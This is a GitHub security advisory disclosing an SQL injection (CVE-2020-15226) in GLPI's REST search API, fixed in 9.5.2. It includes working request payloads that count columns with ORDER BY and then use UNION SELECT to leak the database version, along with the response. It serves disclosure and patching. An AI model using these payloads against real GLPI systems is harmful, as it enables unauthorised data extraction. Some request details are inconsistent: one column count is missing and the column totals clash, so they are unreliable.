SQL Injection in Search API

Moderate **trasher** published **GHSA-jwpv-7m4h-5gvc** on Oct 7, 2020

Package

No package listed

Affected versions

> 9.1

Patched versions

9.5.2

Description

Hi,

I recently came across an SQL Injection vulnerability within GLPI's API. This was within the search function. It appears that not only was it possible to break the SQL syntax, but it was also possible to utilise a UNION SELECT query to reflect sensitive information such as the current database version, or database user. I am not sure which versions this affects, but I believe at least 9.4 and 9.5 are vulnerable.

I would caveat that the most likely scenario for this vulnerability is with someone who has an API account to the system, however in my company we generate tickets via the API, which means we accept user input. This could lead to a user generating a ticket and executing the SQL injection, without having credentials themselves.

I have attached a PoC in Python, as well as a more detailed report of my findings. I would like to request a CVE as suggested by your security policy, and I will inform you of the ID once I have received it.

Exploitation

Now I want to try and return some data that's interesting, so we'll use our good old friend `UNION SELECT`. First though, I want to work out the columns. I can do this by using an `ORDER BY` statement, like the following:

```
GET /glpi/apirest.php/search/ticket?criteria[0][link]=AND&criteria[0][field]=12&criteria[0][searchtype]=equals&criteria[0][value]=notold&criteria[1][link]=AND&criteria[1]
[field]=1&criteria[1][searchtype]=contains&criteria[1][value]=wow%'))+ORDER+BY+30;%23 HTTP/1.1
```

This gives me the same error, so I know there's less than 30 columns that I need to return. Let's half this number and see what we get:

```
GET /glpi/apirest.php/search/ticket?criteria[0][link]=AND&criteria[0][field]=12&criteria[0][searchtype]=equals&criteria[0][value]=notold&criteria[1][link]=AND&criteria[1]
[field]=1&criteria[1][searchtype]=contains&criteria[1][value]=wow%'))+ORDER+BY+15;%23 HTTP/1.1
```

This doesn't error, so it's more than 15! Let's increase it to 20.

```
GET /glpi/apirest.php/search/ticket?criteria[0][link]=AND&criteria[0][field]=12&criteria[0][searchtype]=equals&criteria[0][value]=notold&criteria[1][link]=AND&criteria[1]
[field]=1&criteria[1][searchtype]=contains&criteria[1][value]=wow%'))+ORDER+BY+20;%23 HTTP/1.1
```

That errors, we must be close. We know it's between 15-19 columns. Let's drop down by one to 19:

```
GET /glpi/apirest.php/search/ticket?criteria[0][link]=AND&criteria[0][field]=12&criteria[0][searchtype]=equals&criteria[0][value]=notold&criteria[1][link]=AND&criteria[1]
[field]=1&criteria[1][searchtype]=contains&criteria[1][value]=wow%'))+ORDER+BY+;%23 HTTP/1.1
```

Hey, that works! Great, now we know the columns. Thinking back to the returned JSON where a legitimate ticket was returned, we know we can inject data into the fourth column to see it returned in the name field. So now we can perform this query, and get back the version number of the GLPI database!

Request

```
GET /glpi/apirest.php/search/ticket?criteria[0][link]=AND&criteria[0][field]=12&criteria[0][searchtype]=equals&criteria[0][value]=notold&criteria[1][link]=AND&criteria[1]
[field]=1&criteria[1][searchtype]=contains&criteria[1]
[value]=wow%'))+UNION+SELECT+0,'glpi',null,version(),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null;%23
```

Response

```
<div style="position:float-left; background-color:red; z-index:10000"><span class="b">PHP Notice (8): </span>Undefined index: glpipriority_ in
/var/www/html/glpi/inc/search.class.php at line 6157</div>{"totalcount":2,"count":2,"sort":"1","order":"ASC","data":[{"2":2,"1":"Wow","12":2,"19":"2020-07-15
21:46:11","15":"2020-07-15 21:46:11","3":3,"4":"2","5":"2","7":null,"18":null},{"2":null,"1":"5.7.30-
0ubuntu0.18.04.1","12":null,"19":null,"15":null,"3":null,"4":null,"5":null,"7":null,"18":null}],"content-range":"0-1/2"}
```

We can also pull back the database user by referencing user(), or the database by database().

Any more information, please let me know.

Patches

TODO
upgrade to 9.5.2

Workarounds

possible solutions :

- disable api
- add temporary app token to prevents users to test API without knowing the application token

For more information

If you have any questions or comments about this advisory:

- Email us at glpi-security@ow2.org

Severity

Moderate

CVE ID

CVE-2020-15226

Weaknesses

No CWEs